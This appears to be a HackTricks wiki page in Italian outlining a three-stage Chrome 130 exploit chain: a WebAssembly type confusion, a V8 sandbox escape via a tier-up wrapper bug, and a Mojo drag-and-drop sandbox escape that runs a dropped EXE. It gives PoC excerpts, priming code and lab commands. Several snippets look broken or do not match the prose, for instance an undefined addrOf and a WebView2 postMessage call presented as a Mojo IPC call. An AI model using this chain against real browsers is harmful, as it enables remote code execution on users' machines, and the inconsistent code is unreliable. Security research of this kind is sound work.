Chrome Exploiting

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.

Questa pagina fornisce una panoramica di alto livello ma pratica del moderno workflow di sfruttamento “full-chain” contro Google Chrome 130 basato sulla serie di ricerca “101 Chrome Exploitation” (Part-0 — Preface). L’obiettivo è fornire a pentesters e exploit-developers le conoscenze minime necessarie per riprodurre o adattare le tecniche per le proprie ricerche.

1. Riepilogo dell’architettura di Chrome

Comprendere l’attack surface richiede sapere dove viene eseguito il codice e quali sandboxes si applicano.

Difesa a più livelli:

• V8 sandbox (Isolate): i permessi di memoria sono limitati per prevenire arbitrary read/write da JITed JS / Wasm.
• Renderer ↔ Browser split garantito tramite Mojo/IPC message passing; il renderer non ha nessun accesso nativo a FS/network.
• OS sandboxes isolano ulteriormente ogni processo (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Un remote attacker quindi necessita di tre primitive successive:

1. Memory corruption inside V8 per ottenere arbitrary RW inside the V8 heap.
2. Un secondo bug che permette all’attacker di escape the V8 sandbox to full renderer memory.
3. Una final sandbox-escape (spesso logic piuttosto che memory corruption) per eseguire codice outside of the Chrome OS sandbox.

2. Fase 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Una falla nell’ottimizzazione di TurboFan’s Turboshaft classifica erroneamente le WasmGC reference types quando il valore è prodotto e consumato all’interno di un single basic block loop.

Effetto:

• Il compilatore salta il type-check, trattando una reference (externref/anyref) come un int64.
• Wasm appositamente costruito permette di sovrapporre l’header di un oggetto JS con attacker-controlled data → addrOf() & fakeObj() AAW / AAR primitives.

Minimal PoC (excerpt):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Innescare l’ottimizzazione & spray objects da JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Esito: arbitrary read/write within V8.

3. Stage 2 – Escaping the V8 Sandbox (issue 379140430)

Quando una funzione Wasm viene tier-up-compiled, viene generato un JS ↔ Wasm wrapper. Un signature-mismatch bug fa sì che il wrapper scriva oltre la fine di un oggetto Tuple2 trusted quando la funzione Wasm viene re-optimised mentre è ancora nello stack.

Sovrascrivendo i 2 × 64-bit fields dell’oggetto Tuple2 si ottiene read/write on any address inside the Renderer process, bypassando di fatto la V8 sandbox.

Passaggi chiave dell’exploit:

1. Portare la funzione nello stato Tier-Up alternando codice turbofan/baseline.
2. Innescare il tier-up mantenendo un riferimento nello stack (Function.prototype.apply).
3. Usare Stage-1 AAR/AAW per trovare e corrompere il Tuple2 adiacente.

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Dopo la corruzione possediamo una completa renderer R/W primitive.

4. Fase 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

L’interfaccia IPC Mojo blink.mojom.DragService.startDragging() può essere chiamata dal Renderer con parametri parzialmente attendibili. Creando una struttura DragData che punta a un percorso file arbitrario il renderer convince il browser a eseguire un’operazione di drag-and-drop nativa fuori dalla renderer sandbox.

Sfruttando questo possiamo programmaticamente “trascinare” un EXE dannoso (precedentemente posizionato in una location world-writable) sul Desktop, dove Windows esegue automaticamente alcuni tipi di file una volta rilasciati.

Esempio (semplificato):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Non è necessaria alcuna memory corruption aggiuntiva – la logic flaw ci concede arbitrary file execution con i privilegi dell’utente.

5. Flusso completo della catena

1. User visits una pagina web malevola.
2. Stage 1: Il modulo Wasm sfrutta CVE-2025-0291 → V8 heap AAR/AAW.
3. Stage 2: Mismatch del wrapper corrompe Tuple2 → escape V8 sandbox.
4. Stage 3: startDragging() IPC → escape OS sandbox & execute payload.

Risultato: Remote Code Execution (RCE) sull’host (Chrome 130, Windows/Linux/macOS).

6. Configurazione del laboratorio e debugging

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Flag utili quando si avvia una build development di Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Risorsa: Renderer → kernel escape

Quando un renderer exploit ha bisogno di un kernel pivot che rimanga all’interno del seccomp profile, abusare dei socket AF_UNIX MSG_OOB ancora raggiungibili all’interno della sandbox fornisce un percorso deterministico. Controlla il case-study di Linux kernel exploitation qui sotto per la catena SKB UAF → kernel RCE:

Af Unix Msg Oob Uaf Skb Primitives

Punti chiave

• WebAssembly JIT bugs rimangono un punto d’ingresso affidabile – il sistema di tipi è ancora giovane.
• Ottenere un secondo memory-corruption bug dentro V8 (es. wrapper mismatch) semplifica notevolmente la V8-sandbox escape.
• Debolezze a livello logico nelle interfacce privilegiate Mojo IPC sono spesso sufficienti per una final sandbox escape – tieni d’occhio i bug non-memory.

References

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium security architecture

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.